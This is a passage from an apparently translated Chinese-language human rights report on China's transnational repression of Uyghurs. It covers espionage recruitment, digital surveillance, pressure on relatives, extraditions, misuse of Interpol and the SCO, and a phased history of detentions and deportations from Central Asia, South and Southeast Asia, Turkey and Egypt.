2009年，41岁的巴基斯坦公民卡米尔丁·阿卜杜拉赫曼是二代维吾尔族巴基斯坦人，在前往维吾尔地区并被没收护照后，被要求对拉瓦尔品第的维吾尔活动家网络进行监视。

西方也有此类活动的报道。2010年，瑞典警方指控一名61岁的维吾尔族男子代表中国情报部门对该国规模庞大的维吾尔族社区进行间谍活动。2011年，一名居住在德国的中国公民面临与慕尼黑维吾尔族社区有关的类似间谍活动指控。

2019年初，一位名叫尤苏杨·阿米特的维吾尔族男子声称，中国政府从2012年开始招募他对土耳其、阿富汗和巴基斯坦的维吾尔族流亡社区进行间谍活动。阿米特声称，他的间谍工作是在当局威胁他的家人让他回到维吾尔地区后同意的，结果是这些流亡社区的成员被监禁和引渡了。2020年秋天，他在土耳其被一名身份不明的袭击者击中背部，阿米特告诉自由亚洲电台，他认为这名袭击者是代表中国工作的。

北京也有迹象表明，它开始采用新的方法，包括精心设计潜规则来诱骗海外维吾尔人。2020年12月，Aakriti Sharma 在喀布尔报道说，阿富汗的情报机构 —— 阿富汗国家安全局已经逮捕了10名中国人，据称他们试图建立一个人虚假的维吾尔团队，以吸引中国在阿富汗关注的潜在维吾尔族武装分子。

数字监控

「图」

在世界各地，维吾尔人面临着强烈的胁迫和数字监控。在新疆维吾尔自治区的家庭成员被用来惩罚所谓的海外持不同政见者，并强迫生活在国外的维吾尔人返回该地区，在那里他们经常受到额外的监视、骚扰和监禁。

中国对维吾尔人使用了一些最强大的间谍软件工具，包括开发恶意软件，通过 WhatsApp 信息感染 iPhone，并雇用黑客在 Facebook 上建立假账户，用来渗透到维吾尔侨民社区的网页。在那里，他们发展关系，建立信任，然后通过钓鱼链接部署恶意软件。任何点击这些链接的人都会被中国政府追踪到。Facebook 直到最近才终止了这些行动。作为调查的一部分，Facebook 进一步指出，这些黑客渗入了合法的新闻机构，并创建了看起来很真实的新闻网站，其链接指向恶意软件和应用程序，一旦下载，就可用于追踪用户。

中国还入侵了亚洲各地的电信网络，以追踪维吾尔人及其在国外的活动。在中亚这个拥有大量维吾尔族侨民的地区，积极参与建立维吾尔地区监控系统的中国公司向中亚的安全部门提供了技术，包括面部识别技术。吉尔吉斯斯坦、乌兹别克斯坦和哈萨克斯坦都从中国公司购

买了摄像头，用于监控交通和市民，以创建所谓的“智能城市”。这种技术已经被用来追踪维吾尔族人在其家乡的行动，并已经在全球范围内推广。

胁迫亲属

「图」

当专制国家遇到直接针对国外反对派的挑战时，他们往往会采取更间接的战术，包括针对这些反对派在国内的亲属。由于亲属在本国的领土管辖范围内，镇压的成本比国外低。这些间接的努力涉及一系列更明显的策略，包括监禁、攻击和酷刑，以及不太明显的策略，如骚扰、监视和恐吓。

鉴于新疆维吾尔自治区警察国家的实力，许多生活在国外的维吾尔人面临着来自其亲属的压力，他们可能被胁迫回国或停止在国外的政治活动。有据可查的例子包括 Rebiya Kadeer（美国）、Samira Imin（美国）、Ferkat Jawdat（美国）、Kayum Masimov（加拿大）、Mehmet Tohti（加拿大）、Abdujelil Emet（德国）、和 Gulhumar Haitiwaji（法国）等等。

中国政府还采取积极措施，切断海外维吾尔人与国内亲属的联系。2019年，《华盛顿邮报》报道称，海外维吾尔人的家人在向海外亲属汇款后，因涉嫌资助恐怖主义而在新疆被捕并入狱。亲属的存款和资产也被国家没收，他们的电话被窃听，以监控其与居住在中国境外的亲属的联系。

引渡条约和法律协议

「图」

追捕海外逃犯的一个关键因素是中国努力缔结引渡条约，特别是与发达国家缔结引渡条约，这些国家是寻求逃避中国控制的逃犯和难民最常去的目的地。

国际引渡是一个国家将被指控的罪犯正式移交给对被指控的罪行有管辖权的另一个国家的做法。中国已在全球范围内成功签订了34个此类条约，其中11个是与跨国镇压数据库中的国家签订的。

中国政府还努力表明，它在新疆的政策得到了其他政府的默许。2019年12月，中国回应联合国人权理事会（UNHRC）发出信函，批评中

国针对维吾尔族和其他突厥人的“大规模任意拘留的可靠报告”和“广泛的监视和限制”，对此，37个国家签署了一份答复，赞扬“中国在通过发展保护和促进人权”方面取得的显著成就。2020年10月，39个国家再次签署信函批评中国，这次有45个中国盟国签署了该答复。本次调查的数据库中包含了发生在9个国家的案件，这些国家同时签署了两封信，5个国家签署了其中一封信。

多边组织

「图」

中国还利用国际刑警组织这个世界警察合作组织来对付其海外公民（和前公民），包括维吾尔人。国际刑警组织理论上应该是政治中立的：根据其章程第2条，它致力于“本着‘世界人权宣言’的精神”开展工作。国际刑警组织章程第3条规定，“严格禁止”成员国利用该系统来追捕面临“政治、种族、宗教或军事性质”指控的罪犯。然而，越来越多的专制政权，如中国，正在利用国际刑警组织追捕、骚扰和试图遣返生活在国外的反对派。

国际刑警组织本身并不签发逮捕令，也不雇用自己的代理人进行逮捕，但它在全世界194个国家的执法机构中分发由成员国发出的红色通缉令或更非正式的逮捕请求。国际刑警组织名单上的个人可以被拘留在国外并被送回国。即使不发生拘留和引渡，国际刑警组织通缉名单上的人也可能面临开设银行账户、申请庇护和国际旅行等方面的困难。

中国积极利用国际刑警组织来追捕“经济逃犯”，作为其全球反腐运动的一部分。具有讽刺意味的是，其目标之一包括中国前公安部副部长孟宏伟，他是2016年至2018年的国际刑警组织主席，2020年1月因受贿罪被判处13年监禁。

1997年，国际刑警组织以“恐怖主义”为由，向维吾尔自治区主席多里昆·艾沙发出了红色通缉令。因此，艾沙在进入美国和土耳其时遇到了问题，2009年在韩国和2017年在意大利被短暂拘留，2016年在印度参加会议时被拒签。在公平审判国际组织的倡导下，艾沙于2018年从红色通缉令名单中被删除。

上合组织起源于20世纪90年代划分中国和新独立的后苏联共和国边界的努力，成立于2001年。最初，该组织汇集了中国、俄罗斯、塔吉克斯坦、乌兹别克斯坦、吉尔吉斯斯坦和哈萨克斯坦，巴基斯坦和印度于2017年加入。该组织的主要任务是打击恐怖主义、极端主义和分裂

主义这“三害”，其核心原则是相互承认。该组织2005年的合作理念要求各成员国相互承认恐怖主义、极端主义和分裂主义行为，所有这些行为都是根据中国国内立法广义定义的，无论其成员本国法律是否会将其归入此类行为。

鉴于许多成员国对这些行为的定义不明确，以及2009年《上海合作组织反恐怖主义公约》第2条仅将恐怖主义定义为“暴力意识形态”，上合组织框架为其成员国利用该制度在国外追捕政治对手打开了空间。

相互承认使那些被正式指控或仅仅被怀疑犯有三种“恶行”之一的人无法在另一个成员国寻求庇护。根据2009年《上海合作组织反恐怖主义公约》，一个国家的管辖权并不局限于自己的领土、设施或公民。相反，该公约允许成员国在被指控的犯罪行为“旨在或导致实施恐怖行为，以迫使该方采取或不采取任何行为”时，要求获得管辖权（第5条，第2.3款）。换句话说，国家可以在整个上合组织区域内追捕其公民。

2005年《上海合作组织成员国元首宣言》中，各国政府承诺拒绝为所有被指控或甚至仅仅被怀疑为恐怖主义、分裂主义和极端主义的人提供庇护。这些模糊的定义已经产生了致命的后果。例如，2014年，一群11名维吾尔族难民在逃往吉尔吉斯斯坦时，被当地的边防人员开枪打死了其中9人，并宣称他们是“维吾尔分离主义组织”的成员，尽管当局从未为这一说法提供任何令人信服的证据。

区域反恐机构保留了一份“极端主义”、“恐怖主义”和“分裂主义”个人和团体的综合名单。据报道，该名单成立于2016年1月，到2016年9月已包括2500名个人和69个团体。在托马斯·安布罗西奥看来，“RATS是上海合作组织成员国之间‘分享最坏做法’过程的中心”。 正如一位俄罗斯记者所总结的那样，“[RATS]的主要目标是帮助成员国的特殊部门绕过国家立法和国际法规范中关于放弃嫌疑人的障碍”。欧洲人权法院将这些做法称为“对法治的绝对否定”。

2010年，UHRP执行董事奥马尔·卡纳特（Omer Kanat）试图作为世界大会的代表前往吉尔吉斯斯坦和哈萨克斯坦。在旅行前，卡纳特得知，由于他被列入禁止进入吉尔吉斯斯坦的黑名单，他将不被允许进入该国，于是他决定继续前往哈萨克斯坦，在抵达后被拘留。在阿拉木图机场接受审讯后，他被告知“不允许进入哈萨克斯坦或任何其他上海合作组织成员国，包括俄罗斯”。然后他被驱逐到土耳其。

VI. 中国对维吾尔人的跨国镇压的演变

「图」

自苏联解体以来，中国对维吾尔人的跨国镇压一直在稳步发展，其地域范围从中亚和南亚迅速扩大到中东、东南亚和欧洲。根据此次调查的上限估计，如果我们包括对特定个人细节有限的大宗案件，或者以假名或匿名方式报告的个人，那么自1997年以来，全世界可能有多达1546起涉及维吾尔族和突厥族社区的第二阶段和第三阶段的跨国压迫案件。

根据上限估计，有28个国家拘留或引渡了维吾尔族难民到中国。在早期阶段（1991–2007年），共有来自9个国家的89名维吾尔人被拘留或送往中国；在第二阶段（2008–2013年），共有130人被拘留或从15个国家被送回中国；在第三阶段（2014–2021年3月），共有1327人被拘留或从20个国家被引渡。此次调查对其中300个案件的更详细数据分析表明，有27个国家将被点名的个人拘留或引渡到中国。在早期阶段（1991–2007年），共有来自6个国家，主要是中亚国家的47人被拘留或送往中国；在第二阶段（2008–2013年），共有来自13个国家的70人被镇压；在第三阶段（2014–2021年3月），共有183人在17个国家被拘留或被引渡。

第一阶段：中国跨国镇压的出现（1991–2007年）

「图」

1991年苏联解体，从根本上改变了中国在中亚，包括在维吾尔地区的安全考虑。由于担心民族主义情绪随着后苏联时代的民族亲属国家的出现而上升，中国当局开始对其境内的文化差异表现采取更严厉的态度。

1996年，“7号文件” 被泄露，该文件使人们了解到中共政治局早期为打击维吾尔族异议而做出的努力。该指令还命令新疆维吾尔自治区官员使用 “一切可用手段” 挫败维吾尔组织获得国际关注的企图，揭示了控制中国境外言论的早期战略。此外，第7号文件重点关注中亚，明确指示 “充分利用我们的政治优势”，并利用经济国策对该地区 “始终保持压力”。Image 2: Countries represented in the upper estimate for Phase 1 (1991–2007). Image by UHRP.

根据人口普查数据，中亚有大量的维吾尔族侨民，大约有30万人，他们从19世纪80年代开始来到这里，当时俄罗斯帝国将维吾尔族居住的古尔邦地区割让给清朝。其他难民潮从1950年代开始到来，当时有成千上万的维吾尔族人逃离饥荒，直到1962年，中苏边界在两国紧张局

势的加剧下被关闭。在整个20世纪90年代，一些致力于促进维吾尔文化、人权或在某些情况下促进国家地位的世俗组织在中亚的后苏维埃共和国成立，特别是在哈萨克斯坦和吉尔吉斯斯坦。一些组织，如尤苏普贝克·穆赫里西（Yusupbek Mukhlisi）的东突厥斯坦联合革命阵线（URFET），是20世纪70年代的遗物，可能是由苏联情报部门资助的，目的是在中苏分裂的高峰期对中国施加压力。穆赫里西本人在维吾尔政治中是一个边缘人物，大多数活动家都与他的高谈阔论和对武装斗争的激进承诺保持着距离。

20世纪90年代末，活跃在该地区的另一个著名组织是由买买提明·艾孜来提 (Mehmet Emin Hazret) 领导的东突厥斯坦解放组织（ETLO），该组织最初设在土耳其。与促进维吾尔族权利相比，东突厥斯坦解放组织因一系列暗杀和绑架事件而更加广为人知。

由苏维埃持不同政见者哈希尔·瓦希迪（Hashir Wahidi）成立的名称相似的维吾尔解放组织（ULO）也在这一时期活跃起来，主张新疆维吾尔自治区独立。尽管这些组织的影响力很小，但中国当局对其活动持怀疑态度。

1994年，中国开始按照两年后在第7号文件中泄露的指示使用经济国策，此前，中国官员在该地区巡视，促进贸易交易，以换取合作，压制维吾尔族侨民。1996年4月，哈萨克斯坦当时的外交部长卡西姆·若马尔特·托卡耶夫警告该国的维吾尔人，阿拉木图不会容忍煽动自决的行为，并谴责分裂主义是20世纪末的 “政治艾滋病”。

次年6月，哈萨克斯坦关闭了《维吾尔斯坦报》，这是一份由维吾尔族组织非法出版了三年的报纸，政府对此关注甚少。吉尔吉斯斯坦也开始对当地的维吾尔族团体施加压力。1996年3月，吉尔吉斯斯坦司法部禁止了 “Ittipak”（团结）组织的政治活动，包括出版其同名报纸，称 Ittipak 的活动违背了 “中国人民的利益”。乌兹别克斯坦关闭了其境内大多数与维吾尔族有关的组织，即使是那些纯文化性质的组织。

在维吾尔族地区，中国的镇压行动加剧了动荡。1997年2月，在靠近哈萨克边境的边境贸易城市固勒扎（伊宁），在警察开始逮捕致力于减少酗酒和吸毒的活动人士后，爆发了大规模的抗议活动。

在随后的镇压中，新疆维吾尔自治区的死刑判决与人口数量之比是中国其他地区的数倍，大赦国际在1997年至1999年期间记录了190起处决事件。这些事件也促使难民逃离该地区，中国安全部门在海外追捕他们，指控他们参与了起义。

此次调查的数据库中至少有八个人因被指控与这些事件有关而成为目标。据世界维吾尔代表大会称，1999年，哈萨克斯坦引渡了三名逃离古尔邦节的维吾尔人：Hemit Memet (又称 Hemet Memet), Ilyas Zordun (又称 Ilyas Zordon), 和 Kasim Mapir (又称 Kasim Mahpir)。他们指控这三个人协助恐怖分子，但没有认真的证据来支持这些说法。据报道，Hemit Memet 的兄弟 Sayadakhmet Memet 和 Zulfikar Memet 在维吾尔族地区被捕。据称， Zulfikar Memet 被折磨致死，而 Saydakhmet Memet 被判处6年监禁。

镇压的严重性也激发了中亚日益受困的维吾尔族社区的一些引人注目的发展。1997年，Yusupbek Mukhlisi 飞往华盛顿特区，与两名国务院官员会面，倡导提高对维吾尔族人权的认识。这次会面在美国国会决定为自由亚洲电台引入维吾尔语广播方面发挥了一点作用，因为古尔邦节冲突和随后的镇压行动引起了国际关注。

由于担心自己的政策会受到地区性的打击，北京试图加快与中亚的安全联系。1998年6月3日，主要为划分后苏联与中国边界而成立的 “上海五国” 在哈萨克斯坦召开会议，讨论地区安全问题，该集团的签署国就恐怖主义、分裂主义和极端主义的共同 “恶行” 达成一致。随后于1999年在吉尔吉斯斯坦举行的峰会进一步深化了这一主题，签署国同意不允许其领土 “成为破坏上海五国其他成员国主权的基地”。该组织（后于2001年更名为上海合作组织，乌兹别克斯坦也加入其中）被证明是中国向中亚各共和国施压以打击其少数民族社区的最佳场所。

随着 “上海五国” 开始向其更加永久性的结构过渡，发生了一系列针对知名维吾尔族活动家的不明原因的袭击事件。1998年，哈希尔·瓦希迪（Hashir Wahidi），维吾尔组织的创始人，在哈萨克斯坦的家中被不明身份的袭击者袭击，几个月后因伤势过重死亡。2000 年 3 月在吉尔吉斯斯坦，Ittipak 的主席尼格马特·巴扎科夫（Nigmat Bazakov）被暗杀。根据官方的说法，巴扎科夫是在拒绝向 ETLO 捐款后被 ETLO 的成员枪杀的。吉尔吉斯斯坦当局为此逮捕并审判了四名男子，其中包括四名维吾尔人（三名中国公民和一名土耳其公民）。这些人还被指控在2000年5月袭击了一个中国政府代表团，并绑架了一名中国商人。

据历史学家詹姆斯·米尔沃德（James Millward）说，一些细节仍不一致。例如，据报道，被告之一卡萨吉·贾拉勒（Kasarji Jalal）在巴扎科夫枪击案发生时正在狱中。后来，中国官方报告将 ULO 和 ETLO 混为一谈，使人们对指控的有效性产生了怀疑。到2002年，四名被告中的两人，马梅特·亚辛（Mamet Yasin）和马梅特·萨迪克（Mamet Sadik），已被引渡到中国接受审判。为了表示感谢，中国公安部在

中吉边境的一个电视转播仪式上向吉尔吉斯警察赠送了12辆警用卡车。迪尔比里姆·萨马萨科娃（Dilbirim Samasakova）是纳苏古姆基金（the Nazugum Fund）的主席和创始人，该基金是一个为来自中国和中亚的维吾尔族妇女提供帮助的慈善组织，萨马萨科娃于2001年5月2日在阿拉木图失踪。同年6月9日，她的尸体在一个水库附近被发现。

苏联解体后的中亚成为中国最早的跨国镇压中心之一，而巴基斯坦和阿富汗随着1996年塔利班政权的崛起，也走上了类似的轨迹。

20世纪90年代末，当世界上大多数国家谴责和制裁阿富汗的塔利班政府时，中国却开始了不寻常的接触政策。1998年，中国驻巴基斯坦大使陆书林在塔利班的据点坎大哈（Kandahar）会见了神秘的塔利班领导人毛拉·奥马尔（Mullah Omar），他对“关于阿富汗伊斯兰酋长国据称正在协助新疆穆斯林的传言”表示关切。毛拉·奥马尔向中国大使保证，“阿富汗从无兴趣也不希望干涉中国的国内问题和事务，阿富汗也不会允许任何团体利用其领土进行任何此类活动或为此目的提供支持”。

到了2000年，为了向中国示好，塔利班交出了13名先前获得“政治庇护”的维吾尔族叛乱分子。虽然塔利班努力向中国保证维吾尔族武装分子没有在中国境内活动，但一小群逃离巴基斯坦和中亚的维吾尔族难民成立了一个不知名的团体核心，该团体将自己命名为东突厥斯坦伊斯兰运动（ETIM）。

在美国领导的全球反恐战争开始后，东突厥斯坦伊斯兰运动常常出现在中国官方报告中，并被指定为恐怖组织，使中国得以宣称参与了这场战争，并将其关于恐怖主义、分裂主义和极端主义的”三恶”言论重新调整为以新疆维吾尔自治区为重点。

- 如果您错过了《中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略》

维吾尔研究学者肖恩·罗伯茨（Sean Roberts）指出，由哈桑·马克苏姆（Hassan Makhsum）（ETIM创始人）领导的阿富汗北部维吾尔人社区可能在政治上是孤立的，行动上是无效的，没有外部资源或资金。

从1990年代初开始，北京也将巴基斯坦视为新疆维吾尔自治区潜在的动乱来源。它认为巴基斯坦是维吾尔人的避难所，这些维吾尔人要么直接从新疆维吾尔自治区逃到巴基斯坦，要么通过哈萨克斯坦和吉尔吉斯斯坦间接逃到巴基斯坦，而巴基斯坦的领事馆经常为他们提供签

证。尤其令人怀疑的一个中心是“喀什噶拉巴德”（Kashgarabad），这是伊斯兰堡（Islamabad）的一个大型宾馆，由有钱的维吾尔商人经营。

在20世纪90年代，巴基斯坦与它的“全天候”盟友（中国）合作越来越多。虽然没有证据表明双方达成了监督维吾尔族活动的正式协议，但巴基斯坦在20世纪90年代末的活动暗示，双方很可能已经正式或以其它方式达成了协议。

例如，早在1997年，北京在没有具体证据或审判的情况下指控14名在当地宗教学校学习的维吾尔人是伊宁冲突后“意图将新疆从中国分裂出去的恐怖分子”，随后巴基斯坦将这些人驱逐出境。他们在被赶过边境后立即被处决。

根据此次调查的数据库，此案是维吾尔人应中国要求被引渡的第一个案例，标志着中国跨国镇压演变的一个分水岭。因此，巴基斯坦警方关闭了维吾尔族社区中心，据说有数百名维吾尔族居民被驱逐出境。随着巴基斯坦成为全球反恐战争的重要阵地，它对维吾尔人的镇压越来越严重。

2001年美国宣布全球反恐战争后，中国利用这场冲突追捕维吾尔族“恐怖分子”，在华盛顿决定承认 **ETIM** 为恐怖组织之后，有时中国的行动还得到美国的帮助。

2001年10月，**22**名维吾尔人在前一年的不同时期为了逃离中国在中亚和巴基斯坦的跨国镇压，到阿富汗寻求庇护，最终被美国军队逮捕并被送往关塔那摩湾监狱。

中国官员旁听了对他们的审讯，并指控他们与 ETIM 有联系，但他们否认了这一点。美国可能把承认 **ETIM** 是一个国际恐怖组织作为与中国交换条件的一部分，使中国支持其入侵伊拉克的计划。

这一认定长期以来一直存在争议，它支持了中国关于其在国内外面临恐怖主义威胁的说法，并为其扩大跨国镇压的范围提供了理由。所有22人后来都被宣布为无罪并被释放，美国在2020年将 ETIM 从其官方的恐怖名单中删除。

美国对阿富汗的入侵也改变了南亚的安全环境。2001年，ETIM 的残余分子逃到了巴基斯坦，为中国创造了一个与巴基斯坦情报部门合作的机会，得以直接针对他们，而不是依靠阿富汗塔利班。

2003年，巴基斯坦军方在南瓦济里斯坦进行了一次突袭，导致 ETIM 领导人哈桑·马克苏姆死亡。2004年，中国在与巴基斯坦的交往中增加了第4条，规定双方都不允许建立可能威胁 “对方主权、安全和领土完整” 的 “任何组织或机构”。

尽管伊斯兰堡对 ETIM 这样的组织采取了军事行动，但2006年初开始出现一个新的维吾尔族组织，即突厥斯坦伊斯兰党（TIP），它与基地组织和巴基斯坦瓦济里斯坦的塔利班结盟。该组织在2008年北京奥运会前夕声名鹊起，并在无意中为中国控制和镇压世界各地的维吾尔人推波助澜。

第二阶段：中国跨国镇压的加剧（2008–2013年）

「图」

2008年，突厥斯坦伊斯兰党（TIP）推出了一份由与基地组织有关的媒体出版的阿拉伯语杂志，以及几段威胁奥运会的视频。已经与中国就奥运会安全问题进行了密切协调的巴基斯坦，又公开表示要协助打击该组织。

巴基斯坦前总统穆沙拉夫（Musharraf）甚至应北京的要求在乌鲁木齐停留，以表示对中国在新疆维吾尔自治区新安全政策的支持。

随着奥运会的临近，中国利用突厥斯坦伊斯兰党（TIP）在巴基斯坦的出现，为国内和全球反恐行动找到了理由和借口，除了扩大国内安全项目外，还迅速加快了针对与国际恐怖主义并无关联的难民的跨国镇压活动。

根据中国官方说法，2008年，新疆维吾尔自治区有近1300名维吾尔人因”国家安全罪”被捕，其中包括比往年更多的恐怖主义指控。此外，数以千计的维吾尔人被驱逐出北京等大城市，他们被指控为潜在的恐怖分子。

在国际上，中国利用奥运会将其安全网扩大到海外。2008年7月17日，土耳其安全总局的官员与中国驻安卡拉大使馆的代表会面，讨论奥运会的安全问题。中国特工告诉土耳其的同行，他们已经确定了50名居住在国外的 ETIM 成员，并声称他们通过沙特阿拉伯、伊朗、阿富汗和巴基斯坦逃到了土耳其。

根据此次调查的数据，在中国的要求下，五名申请庇护的土耳其公民因这些指控而被土耳其安全部门拘留，但后来被释放。据报道，另外

两名维吾尔人于2010年在阿联酋被监禁，他们被控阴谋炸毁迪拜的龙城超市。

然而，关于他们案件的细节让人对指控的真实性产生怀疑。报告显示，中国大使馆向当局提供了两名男子的信息，他们是阿卜杜萨拉姆（又名梅玛·伊蒂明-沙尔莫）和奥马尔·阿克巴（又名维米亚尔·金基米利）。此外，这两名男子最初的供词是 “通过恐吓” 逼供出来的，而翻译是由中国提供的，中国也派代表参加了审判。Image 3: Countries represented in the upper estimate for Phase 2 (2008–2013). Image by UHRP.

对维吾尔人日益增长的恐惧，严厉的安全审核，以及以汉族为中心的经济政策未能为新疆维吾尔人提供就业机会，这些都导致了2009年在乌鲁木齐发生的悲剧性暴力事件。

2009年7月5日晚，在一场由维吾尔族大学生领导的和平示威之后，乌鲁木齐的街道爆发了种族间的暴力事件。几天来，手持钢管和带钉子木棒的维吾尔族和汉族青年团体之间爆发了零星的战斗，而中国政府则站在汉族一边。到最后，街道上血迹斑斑，玻璃破碎。

中国共产党利用 “7/5事件” 中这些令人不安的画面来达到破坏性的效果，广泛宣传乌鲁木齐7/5事件是 “中国的911″。但是，这根本不是中国政府文件中所说的 “国外反华势力策划的有预谋的恐怖行动”，这一时期的事件显示了在2008年北京奥运会之前，地方不满情绪的火药桶爆发的特征。

因这些事件而被捕和入狱的人数仍然不详，但一些报道称，在事件发生的两周内，至少有4000名维吾尔人被拘留。此外，中国政府对整个地区的通信进行了严格限制。冲突开始后，政府立即切断了当地的互联网，直到2009年12月至2010年5月才逐步恢复。

也许最重要的影响是，乌鲁木齐事件和更恶劣的安全环境导致了自1962年以来新疆维吾尔自治区最大的人口外流，在接下来的几年里，有多达3万名维吾尔难民通过巴基斯坦和东南亚逃往了土耳其。

据肖恩·罗伯茨（Sean Roberts）说，少数维吾尔人会留在巴基斯坦，以补充突厥斯坦伊斯兰党（TIP）的队伍，提高其能力和声望。

2011年，突厥斯坦伊斯兰党（TIP）明确声称与中国境内的一次袭击有关。据称，在一辆维吾尔人的卡车撞上喀什的一条拥挤街道并随后用刀袭击警察后不久，TIP 发布了一段视频，据称大屠杀的组织者之

一曾在2006年参加过瓦济里斯坦的维吾尔人庆典。

虽然 TIP 没有为2011年的这次袭击立下汗马功劳，但这是阿富汗或巴基斯坦的维吾尔激进组织首次显示出与参与中国境内袭击事件的个人有关联的真实证据。随后，五名与国际恐怖活动并无关联的维吾尔人在巴基斯坦被捕，并被驱逐回中国，以缓解两国政府之间的紧张关系。这批人包括曼佐克拉·马马德（Manzokra Mamad）、两个孩子和一名妇女，而第六名维吾尔人阿不都沙拉木（Abduxur Ablmit）在被拘留和马上要被驱逐时又被允许留在巴基斯坦。

中国政府从未完全承认维吾尔人出走的规模，也没有承认在乌鲁木齐事件后维吾尔人立即出走的原因。相反，中共官员将工作重点放在了将维吾尔族难民网络称为极端主义的堡垒。中国政府利用这些指控来鼓励一些国家合作拘留和遣返维吾尔人（见下文），同时还试图在中国东南边境发生残酷大屠杀后关闭移民路线。

根据中国媒体的报道，2014年3月1日，在云南省昆明市的火车站，一群由8名黑衣持刀的维吾尔族男女刺死了数十人，刺伤了数百人。根据自由亚洲电台的报道，这群人在试图逃往东南亚时，安全人员封锁了他们的路线，导致这群人铤而走险，决定实施这一大规模暴力行为。

同年11月，中国声称已经破获了一个以土耳其为首的为维吾尔人提供假护照的团伙，指责土耳其国家将维吾尔战士输送到叙利亚（当时出现了 TIP 活动的证据）。

很明显，到此时，中国已经彻底关闭了大多数维吾尔族难民的通道。国际媒体对昆明事件的报道也标志着媒体对维吾尔人报道的一个转折点，因为一些媒体不加批判地采用了中国官方对此事件的描述，即“维吾尔族恐怖主义”。

以下是2009年至2014年乌鲁木齐事件后，东南亚移民路线上跨国镇压的简要年表。

柬埔寨

柬埔寨是中国政府在东南亚利用其经济实力换取政府合作镇压维吾尔人最早的国家之一。2009年12月，柬埔寨驱逐了20名维吾尔人，两天后，中国与柬埔寨签署了14项贸易协议，金额超过8.5亿美元。这批人是在“乌鲁木齐事件”发生后立即逃离中国的。

老挝

老挝在2010年驱逐了7名维吾尔人，他们都来自梅梅特·艾力·罗兹（Memet Eli Rozi）的家庭，他是最初在邻国柬埔寨寻求庇护的22名维吾尔人中的一员（其中20人最终被驱逐回中国）。罗兹在其他维吾尔人被拘留后逃离了柬埔寨，并让他的妻子和孩子在老挝与他会面。

缅甸

我们的数据显示，2010年，17名维吾尔族男子在被指控参与“犯罪活动”后被从缅甸驱逐出境。据报道，这些人和另一名汉族男子在缅中边境被掸邦第二特区（the Shan State Special Region 2）的安全官员移交给中国政府。

2009年8月，缅甸国军在缅甸动荡的果敢省镇压叛乱分子，导致3.7万名难民逃入中国，此后中国大大加强了与缅甸边境的安全。次年，中国与缅甸、老挝和泰国在湄公河开展了联合巡逻和执法行动。

马来西亚

马来西亚是拘留和引渡维吾尔人的一个很大来源国。2011年，该国驱逐了11名维吾尔人，这些人回到中国后立即被指控为分裂主义并被监禁。第二年，马来西亚将6名寻求庇护的维吾尔人送回中国。2012年这批人在中国高官贾庆林访问马来西亚之前被遣返。2014年，马来西亚拘留了155名维吾尔人，其中一半以上是儿童，他们被发现挤在首都吉隆坡的两套公寓里，携带着疑似假土耳其护照。无法从公开报道中确认他们之后所遭遇的细节。

越南

2014年，一群寻求庇护的维吾尔人在与越南边防军的冲突中死亡，当时边防军扣留了他们，打算将他们送回中国当局。这起事件发生在中国边境巡逻队向越南同行发出警报，称这群人将从海上非法进入越南。2009年，越南和中国签署了一项关于陆地边界管理的公约，双方同意合作“预防和阻止”跨越边界的非法移民。

泰国

2014年春天，泰国当局逮捕了424名维吾尔族男子、妇女和儿童，其中约200人躲在宋卡省的一个人口贩运营地。这些维吾尔人声称拥有土耳其公民身份，而泰国则陷入了中国和土耳其之间的外交纷争，以争取将这些难民送往他们国家。

虽然泰国确实将大约170名难民（几乎全是妇女和儿童）送往土耳其，但它也在2015年7月将109名男子引渡到中国。许多维吾尔族男子至今仍在泰国的拘留中心。从数量上看，泰国是中国跨国镇压的最大来源，这既是泰国在难民问题上的不良记录，也是中国在该国影响的一个重要因素。

第三阶段：中国的跨国镇压走向全球（2014–2021年3月）

「图」

中国目前针对维吾尔人的镇压运动 —— 许多人将其比作文化灭绝和种族灭绝 —— 基础是在2014年中国国家主席习近平在昆明大屠杀之后访问新疆维吾尔自治区之后出现的。

据肖恩·罗伯茨说，那一年，中国电子科技集团，一个中国的军事承包商，正在建立一个关于新疆维吾尔族人的大型数据库，用于 “预防性警务” 计划，旨在预测一个人的 “恐怖倾向”。

在一份现已泄露的2014年习近平内部讲话中，他还呼吁国家使用 “专政机关”，在 “打击恐怖主义、渗透和分裂主义的斗争中绝不手软”。其结果是灾难性的，中国政府发动了一场文化破坏、法外大规模拘禁、洗脑、酷刑、强迫劳动营的镇压运动，并建立了一个前所未有的监控国家。自2014年启动以来，人民反恐战争已有约180万人被关押在所谓的再教育中心，占维吾尔人口的10%以上。Image 4: Countries represented in the upper estimate for Phase 3 (2014–2021). Image by UHRP.

为了更好地实施镇压运动，中国在2015年签署了第一个全面的反恐立法，为进一步大规模监控铺平了道路，包括要求技术公司为安全官员解密通信的合规法律。根据中国政府的数字，自立法通过以来，已有1.3万名 “恐怖分子” 被捕，还有3万多人因 “非法宗教活动” 受到惩罚。然而，这些数字应该受到严格审查，随后的 “去极端化” 条例清楚表明，政府对 “恐怖活动” 的定义非常模糊。2018年，《外交政策》发表了一篇名为 “被送入中国集中营的48种方法” 的文章，概述了维吾尔人可能被送入这些拘留中心的各种原因。据称，可疑的行为包括拥有帐篷、留胡子或拒绝吸烟。

中国跨国镇压的进程在很大程度上已经改变了规模和方向，因为中国政府引入了一个庞大的算法监控系统，使一些人仅与外国有联系就成了该受惩罚的罪行。在新疆维吾尔自治区，警察局将数据输入一个强大的数据库，即 “一体化联合行动平台”（Integrated Joint

Operations Platform，IJOP）。

通过 “一体化联合行动平台”，庞大的信息流被自动输入到一个算法中，该算法能评估一个人是否受到”极端主义”的影响，将公民分为 “值得信赖” 和 “可疑” 的群体。“一体化联合行动平台” 还将与26个黑名单国家有任何接触的人归类为可疑人物。曾前往这些国家的人、有家人居住在这些国家的人、或以其它方式与这些国家的人交流的人，都被审问、拘留或监禁。

- 《中国的反乌托邦监视国家是美国制造的》

这些新的国家黑名单也对在海外学习或居住的维吾尔人产生了破坏性影响，这些地区以前几乎没有跨国镇压的证据。埃及是一个很典型的例子。从2017年7月初开始，埃及警方从餐馆或私人住宅抓捕了约200名维吾尔人，其中许多是爱资哈尔（Al-Azhar）大学的宗教学生。许多早些时候为响应中国政府关于返回 “登记” 命令而自行回国的学生也被拘留了。

根据此次调查的上限估计，有57名维吾尔人据报道在从埃及回国后被关押在中国，其中一些人，如阿布杜萨拉姆·买麦提（Abdusalam Mamat）和亚森江·买麦提明（Yasinjan Memtimin），在 “自愿” 离开埃及后被报告死在警察拘留所。

